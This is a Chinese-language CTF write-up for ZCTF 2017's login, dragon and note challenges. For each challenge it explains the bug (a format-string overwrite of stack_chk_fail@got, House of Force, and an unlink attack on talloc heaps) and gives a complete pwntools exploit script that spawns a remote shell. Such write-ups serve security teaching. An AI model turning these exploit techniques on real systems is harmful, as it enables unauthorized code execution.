ZCTF 2017 write up

login

刚开始看这题的时候有点不知所云,完全不知道是要leak canary还是爆破来做,第二天想到,succ()sprintf()函数的格式化字符串参数是在栈上的,
尝试下用s1修改他,果然成功修改输出s2的格式(第一天的时候就有这个现象了,当时还以为printf()有bug…)
然后就是用格式化字符串修改stack_chk_fail@got,原本是想找个ret的gadget,但是很奇怪的是没办法用格式化字符串精确修改,好像每多输出一个字符修改的结果会多2,
后来发现只修改一个字节刚好可以把stack_chk_fail@got修改成malloc@plt + 6这样即使修改了canary函数也可以正常返回,然后就可以愉快的做ROP了
然后做ROP执行system('/bin/sh')的时候老是失败,感觉是因为前面的格式化字符串修改了太多栈的内容影响到了system(),
于是转而用syscall执行execve('/bin/sh', 0, 0)这里要把ecx,edx都设置为0,然而sprintf()遇到\x00就断了,
调试的时候发现执行ROP的时候edx已经为0了,然后在题目给的libc里面找到了这么一个gadget

0x000282d3 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret

然后就可以愉快的getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context.log_level = 'debug'
main_addr = 0x0804878C
stack_chk_fail_got = 0x0804A014
malloc_got = 0x0804A018
puts_plt = 0x080484C0
ret = 0x804844e
pop_ret = 0x08048465
inc_ecx_ret = 0x08048aee
ebx_ret = 0x08048465
'''
i = 1
while i < 100:
p = process('./login')
p.recvuntil('Input the username:')
payload = ''
payload += p32(stack_chk_fail_got)
payload += 'A' * (0x4c)
payload += p32(main_addr)
payload += p32(stack_chk_fail_got) * 9 + 'AA'
payload += 'KK:%' + str(i) + '$x'
p.send(payload + '\n')
p.recvuntil('Input the password:')
p.send('123\n')
p.recvuntil("$x:")
data = int(p.recvuntil(':', drop = True), 16)
if data == stack_chk_fail_got:
print "succ", i
exit(0)
p.close()
i = i + 1
'''
#p = process('./login')
p = remote('58.213.63.30', 4002)
p.recvuntil('Input the username:')
payload = ''
payload += p32(stack_chk_fail_got)
payload += p32(stack_chk_fail_got + 1) * 19
payload += p32(main_addr)
payload += p32(stack_chk_fail_got) * 9 + 'AA'
payload += 'K:%47c'
payload += '%10$hhn'
p.send(payload + '\n')
p.recvuntil('Input the password:')
p.send('123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
p.recvuntil('Input the username:')
payload = ''
payload += 'A' * (0x4c + 4)
payload += p32(puts_plt)
payload += p32(pop_ret)
payload += p32(malloc_got)
payload += p32(main_addr)
p.send(payload + '\n')
p.recvuntil('Input the password:')
p.send('123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
p.recvuntil('Login successful!\n')
p.recvuntil('\n')
malloc_addr = u32(p.recvn(4))
log.info('malloc() addr: ' + hex(malloc_addr))
libc = ELF('./libc-2.19.so')
#libc = ELF('./local.libc32')
offset_malloc = libc.symbols['malloc']
offset_system = libc.symbols['system']
offset_binsh = next(libc.search('/bin/sh'))
libc_base = malloc_addr - offset_malloc
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
#int80 = libc_base + 0x000B14DD
int80 = libc_base + 0x000B4EBB
xorecx_ebx_pppop_ret = libc_base + 0x000282d3
payload = ''
payload += 'A' * (0x4c + 4)
payload += p32(xorecx_ebx_pppop_ret)
payload += p32(binsh_addr)
payload += p32(0xdeadbeef) * 3
payload += p32(int80)
p.send(payload + '\n')
p.recvuntil('Input the password:')
p.send('123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
p.recvuntil('Login successful!\n')
p.interactive()

dragon

程序漏洞在申请堆块存放content的时候是根据输入字符串大小申请堆块的,然是edit()函数固定修改32个字节,这样就存在溢出了
利用House of Force这个技巧,溢出修改Top Chunk的大小,而且程序申请堆块存放name的时候,也只是检查长度是否小于32,并没有检查是否为负数,
这样就可以申请大小为负的堆块,然后分配到一个指向bss段中的list,然后就可以任意读写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context.log_level = 'debug'
def New(p, size, name, content):
p.recvuntil('>> ')
p.send('1\n')
p.recvuntil('please input note name size: ')
p.send(str(size) + '\n')
p.recvuntil('please input note name: ')
p.send(name)
p.recvuntil('please input note content: ')
p.send(content)
def List(p, idx):
p.recvuntil('>> ')
p.send('4\n')
p.recvuntil('input note id: ')
p.send(str(idx) + '\n')
def Edit(p, idx, content):
p.recvuntil('>> ')
p.send('2\n')
p.recvuntil('input note id: ')
p.send(str(idx) + '\n')
p.recvuntil('please input new note content: ')
p.send(content)
def Delete(p, idx):
p.recvuntil('>> ')
p.send('3\n')
p.recvuntil('input note id: ')
p.send(str(idx) + '\n')
#p = process('./dragon')
p = remote('58.213.63.30', 11501)
New(p, 0x20, 'A' * 0x10, 'B' * 0x20)
New(p, 0x20, 'C' * 0x10, 'D' * 0x20)
Delete(p, 0)
Delete(p, 1)
payload = ''
payload += p64(0x602058)
payload += p64(0x00)
payload += p64(0x602058)
New(p, 0x10, 'A' * 0x10, 'A' * 0x20)
Edit(p, 0, payload)
List(p, 0)
p.recvuntil('A' * 0x10)
data = p.recvuntil('\n', drop = True)
if len(data) < 4:
log.error("maybe error!")
exit(0)
heap_addr = u64(data.ljust(8, '\x00'))
log.info("heap addr : " + hex(heap_addr))
fake_note = heap_addr + 0x80
New(p, 0x20, 'E' * 0x20, 'F' * 0x20)
New(p, 0x18, 'G' * 0x18, 'H' * 0x17 + '\n')
Edit(p, 2, 'H' * 0x18 + p64(0xffffffffffffffff))
top_chunk = heap_addr + 0x148
offset = 0x00000000006020e0 - top_chunk
p.recvuntil('>> ')
p.send('1\n')
p.recvuntil('please input note name size: ')
p.send(str(offset - 0x30) + '\n')
p.recvuntil('please input note content: ')
p.send(p64(fake_note))
List(p, 2)
p.recvuntil('name: ')
data = p.recvn(6)
libc_start_main_addr = u64(data.ljust(8, '\x00'))
log.info("__libc_start_main() addr: " + hex(libc_start_main_addr))
#libc = ELF('./local.libc64')
libc = ELF('./libc-2.19.so')
offset_libc_start_main = libc.symbols['__libc_start_main']
offset_system = libc.symbols['system']
libc_base = libc_start_main_addr - offset_libc_start_main
system_addr = libc_base + offset_system
payload = ''
payload += p64(0x602018)
payload += p64(0x00)
payload += p64(0x602018)
Edit(p, 0, payload)
Edit(p, 2, p64(system_addr))
New(p, 0x20, 'SH', '/bin/sh\x00')
Delete(p, 4)
p.interactive()

note

note结构体中有Titlecontent,特别没良心的不给Show功能,
漏洞点在EditContent功能一次只能修改48个字节的content,但是允许从content后部开始修改,
程序使用的是talloc,网上搜索了一波发现貌似还有点复杂,不过调试发现talloc的chunk只是拓展了ptmalloc的堆块结构,
而且释放内存实际上最终还是要执行ptmalloc的free(),所以完全可以当作老式的linux exploit来搞
利用溢出来做unlink attack,然后我们就的到了一个指向在bss段的note list的指针,修改_talloc_free@gotputs@plt + 6,这样就把Delete()变成了Show
但这样并不能leak libc,因为在程序释放内存之前会对堆块做检查,这样就无法直接读got,只能leak堆上的main_arena指针了
在这之前要先得到堆地址,note结构体中,Title紧跟着content_ptr,把Title填满就可以leak heap了,
但是程序的ChangeTitle()函数读取输入的时候会在输入的末尾补\x00,而且非常诡异的是只要把Title填满,下一次atoi()函数的结果一定会为0,程序直接退出
后来发现EditContent()是不会在输入末尾补\x00的,然后利用之前unlink的到的指针修改note list,将其作为一个note结构体,
这样就可以用EditContent()的方法修改某个note的Title,然后打印出来就可以的到堆的地址,
之后要打印出堆上的main_arena指针,但是main_arena指针的位置在堆块的头部,并不在Title的位置,无法通过Delete()函数的检查,
所以在这之前,利用之前指向note list的指针,多次修改堆内容,将main_arena指针前面的内容修改成一个talloc的chunk头部,然后就可以通过检查,将main_arena的指针打印出来
然后就可以修改atoi@gotsystem(),输入/bin/sh就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
context.log_level = 'debug'
def New(p, size, title, content):
p.recvuntil('>>\n')
p.send('1\n')
p.recvuntil('Input the title:\n')
p.send(title)
p.recvuntil('Input the size of content:\n')
p.send(str(size) + '\n')
p.recvuntil('Input the content:\n')
p.send(content)
def Edit(p, idx, offset, content):
p.recvuntil('>>\n')
p.send('3\n')
p.recvuntil('Input the id of the note:')
p.send(str(idx) + '\n')
p.recvuntil('Enter the start offset:')
p.send(str(offset) + '\n')
p.recvuntil('Enter the new content:')
p.send(content)
def Delete(p, idx):
p.recvuntil('>>')
p.send('4\n')
p.recvuntil('Input the id of the note:')
p.send(str(idx) + '\n')
def ChangeTitle(p, idx, title):
p.recvuntil('>>')
p.send('5\n')
p.recvuntil('Input the id of the note:')
p.send(str(idx) + '\n')
p.recvuntil('Enter the new title:')
p.send(title)
#p = process('./note')
p = remote('58.213.63.30', 4003)
ptr = 0x6020c0 + 0x08 * 8
fake_fd = ptr - 0x18
fake_bk = fake_fd + 0x08
payload = ''
payload += p64(0x00)
payload += p64(0x121)
payload += p64(fake_fd)
payload += p64(fake_bk)[:3]
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, 'Z' * 16 + '\n', 'Z' * 64 + '\n')
New(p, 128, payload + '\n', 'B' * 64 + '\n')
New(p, 128, 'C' * 16 + '\n', 'D' * 64 + '\n')
New(p, 128, 'E' * 16 + '\n', 'F' * 64 + '\n')
payload = ''
payload += 'A'
payload += p64(0x120)
payload += p64(0xa0)
Edit(p, 8, 127, payload + '\n')
Delete(p, 9)
payload = ''
payload += p64(0x6020c0)
payload += p64(0x601fd8)
payload += p64(0x602048)
payload += p64(0x602008)[:3]
ChangeTitle(p, 8, payload + '\n')
ChangeTitle(p, 7, p64(0x4007e6) + '\n')
Edit(p, 5, 1, 'A' * 0x1f + '\n')
Delete(p, 4)
p.recvuntil('A' * 0x1f)
data = p.recvuntil('Delete success', drop = True).ljust(8, '\x00')
heap_addr = u64(data)
log.info('heap addr(): ' + hex(heap_addr))
leak_addr = heap_addr + 0x770
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x70) + '\n')
ChangeTitle(p, 1, p64(0x2b0) + p64(0xa0) + p64(0x00 )+ '\n')
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x50) + '\n')
ChangeTitle(p, 1, p64(0x00)+ p64(leak_addr + 0x990) + '\n')
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x40) + '\n')
ChangeTitle(p, 1, p64(0x00)+ p64(0x00) + '\n')
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x30) + '\n')
ChangeTitle(p, 1, p64(0x000000000040117b)+ p64(0x30) + '\n')
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x20) + '\n')
ChangeTitle(p, 1, p64(0x00000000e8150c70)+ p64(0x00) + '\n')
ChangeTitle(p, 5, p64(leak_addr) + p64(leak_addr - 0x20) + '\n')
ChangeTitle(p, 1, p64(0x00)+ p64(0x00) + '\n')
Delete(p, 0)
p.recvuntil('\x0a')
data = p.recvn(6).ljust(8, '\x00')
main_arena = u64(data)
log.info("main_arena : " + hex(main_arena))
#libc = ELF('./local.libc64')
libc = ELF('./libc-2.19.so')
#libc_base = main_arena - 0x398b58
libc_base = main_arena - 0x3BE7B8
system_addr = libc_base + libc.symbols['system']
log.info("system() addr: " + hex(system_addr))
ChangeTitle(p, 5, p64(0x602058) + '\n')
ChangeTitle(p, 0, p64(system_addr) + '\n')
p.recvuntil('>>')
p.send('/bin/sh\x00')
p.interactive()
文章目录
  1. 1. login
  2. 2. dragon
  3. 3. note
|